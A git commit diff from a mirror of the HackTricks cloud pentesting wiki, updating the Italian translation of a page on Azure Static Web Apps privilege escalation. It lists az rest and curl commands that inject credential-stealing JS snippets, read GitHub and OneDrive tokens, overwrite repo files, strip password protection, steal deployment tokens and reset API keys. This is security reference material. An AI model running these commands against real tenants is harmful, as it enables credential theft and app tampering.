mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -12,9 +12,9 @@ Per maggiori informazioni su questo servizio consulta:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
È possibile far caricare a una pagina web statica codice HTML arbitrario creando uno snippet. Questo potrebbe permettere a un attaccante di iniettare codice JS nell'applicazione web e rubare informazioni sensibili come credenziali o chiavi mnemoniche (nei wallet web3).
|
||||
È possibile far sì che una pagina web statica carichi codice HTML arbitrario creando uno snippet. Questo potrebbe permettere a un attacker di injectare codice JS all'interno della web app e rubare informazioni sensibili come credenziali o mnemonic keys (nelle web3 wallets).
|
||||
|
||||
Il comando seguente crea uno snippet che verrà sempre caricato dall'applicazione web::
|
||||
Il seguente comando crea uno snippet che sarà sempre caricato dalla web app::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,22 +31,22 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Leggi le credenziali di terze parti configurate
|
||||
### Leggere le credenziali di terze parti configurate
|
||||
|
||||
As explained in the App Service section:
|
||||
Come spiegato nella sezione App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account corrente. Nota che, ad esempio, se alcune credenziali Github sono configurate in un altro utente, non potrai accedere al token da un utente diverso.
|
||||
Eseguendo il comando seguente è possibile **leggere le credenziali di terze parti** configurate nell'account corrente. Nota che, per esempio, se alcune credenziali Github sono configurate su un utente diverso, non potrai accedere al token da un altro utente.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Questo comando restituisce tokens per Github, Bitbucket, Dropbox e OneDrive.
|
||||
|
||||
Ecco alcuni esempi di comandi per controllare i tokens:
|
||||
Qui trovi alcuni esempi di comandi per controllare i tokens:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Sovrascrivere file - Overwrite routes, HTML, JS...
|
||||
### Sovrascrivere file - Sovrascrivere routes, HTML, JS...
|
||||
|
||||
È possibile che Azure, avendo il **Github token**, sovrascriva un file all'interno del repo Github che contiene l'app inviando una richiesta come la seguente, che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
|
||||
È possibile **sovrascrivere un file all'interno del Github repo** che contiene l'app sfruttando Azure che dispone del **Github token**, inviando una richiesta come la seguente che indicherà il percorso del file da sovrascrivere, il contenuto del file e il messaggio di commit.
|
||||
|
||||
Questo può essere sfruttato dagli attaccanti per, sostanzialmente, **modificare il contenuto della web app** per servire contenuti malevoli (rubare credenziali, chiavi mnemoniche...) o semplicemente **reindirizzare alcuni percorsi** verso i loro server sovrascrivendo il file `staticwebapp.config.json`.
|
||||
Questo può essere sfruttato da attaccanti per fondamentalmente **cambiare il contenuto dell'app web** per servire contenuti dannosi (rubare credenziali, chiavi mnemoniche...) o semplicemente per **reindirizzare alcuni percorsi** verso i loro server sovrascrivendo il file `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Nota che se un attaccante riesce a compromettere il repo Github in qualsiasi modo, può anche sovrascrivere il file direttamente da Github.
|
||||
> Nota che se un attaccante riesce a compromettere il Github repo in qualche modo, può anche sovrascrivere il file direttamente da Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Con questa autorizzazione, è possibile **modificare la password** che protegge una static web app o persino rimuovere la protezione di tutti gli ambienti inviando una richiesta come la seguente:
|
||||
Con questo permesso, è possibile **modificare la password** che protegge una static web app o persino rimuovere la protezione di tutti gli ambienti inviando una richiesta come la seguente:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,38 +133,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Questo permesso consente di ottenere il **API key deployment token** per l'app statica.
|
||||
Questa autorizzazione permette di ottenere il **API key deployment token** per la static app.
|
||||
|
||||
Usando az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Usando AzCLI:
|
||||
Uso di AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Quindi, in modo da **update an app using the token** puoi eseguire il comando seguente. Nota che questo comando è stato ricavato esaminando **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, in quanto è quella che Azure imposta per impostazione predefinita. Pertanto l'immagine e i parametri potrebbero cambiare in futuro.
|
||||
Poi, per **aggiornare un'app usando il token** puoi eseguire il comando seguente. Nota che questo comando è stato estratto verificando **come funziona la Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, poiché è quella che Azure imposta di default da usare. Quindi l'immagine e i parametri potrebbero cambiare in futuro.
|
||||
|
||||
> [!TIP]
|
||||
> Per distribuire l'app puoi usare lo strumento **`swa`** da [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) oppure seguire i seguenti passaggi:
|
||||
> Per deployare l'app puoi usare lo strumento **`swa`** da [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) oppure seguire i seguenti passaggi grezzi:
|
||||
|
||||
1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che vuoi distribuire) ed esegui `cd react-basic`.
|
||||
2. Modifica il codice che vuoi distribuire
|
||||
3. Distribuiscilo eseguendo (ricorda di cambiare il `<api-token>`):
|
||||
1. Scarica il repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o qualsiasi altro repo che vuoi deployare) ed esegui `cd react-basic`.
|
||||
2. Modifica il codice che vuoi deployare
|
||||
3. Effettua il deploy eseguendo (Ricorda di cambiare il `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Anche se hai il token non potrai distribuire l'app se la **Deployment Authorization Policy** è impostata su **Github**. Per usare il token avrai bisogno del permesso `Microsoft.Web/staticSites/write` per cambiare il metodo di deployment e usare il token API.
|
||||
> Anche se possiedi il token non potrai distribuire l'app se la **Policy di autorizzazione del deployment** è impostata su **Github**. Per usare il token avrai bisogno del permesso `Microsoft.Web/staticSites/write` per cambiare il metodo di deployment e utilizzare il token API.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Con questo permesso è possibile **cambiare la sorgente della static web app verso un diverso repository Github**, tuttavia non verrà automaticamente provisionata poiché ciò deve essere eseguito da una Github Action.
|
||||
Con questo permesso è possibile **cambiare la sorgente della static web app verso un repository Github diverso**, tuttavia non verrà automaticamente provisionata poiché ciò deve essere eseguito tramite un Github Action.
|
||||
|
||||
Se invece la **Deployment Authorization Policy** è impostata su **Github**, è possibile **aggiornare l'app dal nuovo repository sorgente!**.
|
||||
Tuttavia, se la **Policy di autorizzazione del deployment** è impostata su **Github**, è possibile **aggiornare l'app dal nuovo repository sorgente!**.
|
||||
|
||||
Se la **Deployment Authorization Policy** non è impostata su Github, puoi cambiarla con lo stesso permesso `Microsoft.Web/staticSites/write`.
|
||||
Se la **Policy di autorizzazione del deployment** non è impostata su Github, puoi modificarla con lo stesso permesso `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -250,14 +250,14 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Con questo permesso è possibile **reset the API key of the static web app**, potenzialmente causando un DoSing ai workflows che deployano automaticamente l'app.
|
||||
Con questa autorizzazione è possibile **reset the API key of the static web app** potenzialmente DoSing i workflows che distribuiscono automaticamente l'app.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Questa autorizzazione consente di **creare un invito per un utente** per accedere a percorsi protetti all'interno di una static web app con un ruolo specifico.
|
||||
Questa autorizzazione consente di **creare un invito per un utente** per accedere a percorsi protetti all'interno di una static web app con un ruolo specifico assegnato.
|
||||
|
||||
Il login si trova in un percorso come `/.auth/login/github` per github o `/.auth/login/aad` per Entra ID e un utente può essere invitato con il seguente comando:
|
||||
```bash
|
||||
@@ -272,12 +272,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Per default le Pull Requests da un branch nello stesso repo vengono automaticamente compilate e buildate in un ambiente di staging. Questo può essere sfruttato da un attaccante con accesso in scrittura al repo ma senza la possibilità di bypassare le protezioni del branch di produzione (di solito `main`) per **distribuire una versione malevola dell'app** nell'URL di staging.
|
||||
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
|
||||
|
||||
L'URL di staging ha il formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` come: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Nota che di default le PR esterne non eseguiranno i workflow a meno che non abbiano unito almeno 1 PR nel repository. Un attaccante potrebbe inviare una PR valida al repo e **poi inviare una PR malevola** al repo per distribuire l'app malevola nell'ambiente di staging. TUTTAVIA, esiste una protezione inattesa: la default GitHub Action per il deploy nella static web app necessita dell'accesso al secret contenente il deployment token (come `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) anche se il deployment viene fatto con l'IDToken. Questo significa che, poiché una PR esterna non avrà accesso a questo secret e una PR esterna non può modificare il Workflow per inserirvi un token arbitrario senza che la PR venga accettata, **questo attacco in realtà non funzionerebbe**.
|
||||
> Nota che per impostazione predefinita le PR esterne non eseguiranno i workflow a meno che non abbiano prima fuso almeno 1 PR nel repository. Un attaccante potrebbe inviare una PR valida al repo e **poi inviare una PR malevola** al repo per deployare l'app malevola nell'ambiente di staging. TUTTAVIA, c'è una protezione inattesa: la Github Action predefinita per il deploy nella static web app necessita dell'accesso al secret che contiene il deployment token (come `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) anche se il deploy viene eseguito con l'IDToken. Questo significa che, poiché una PR esterna non avrà accesso a questo secret e una PR esterna non può modificare il Workflow per inserire qui un token arbitrario senza che la PR venga accettata, **questo attacco in pratica non funzionerà**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user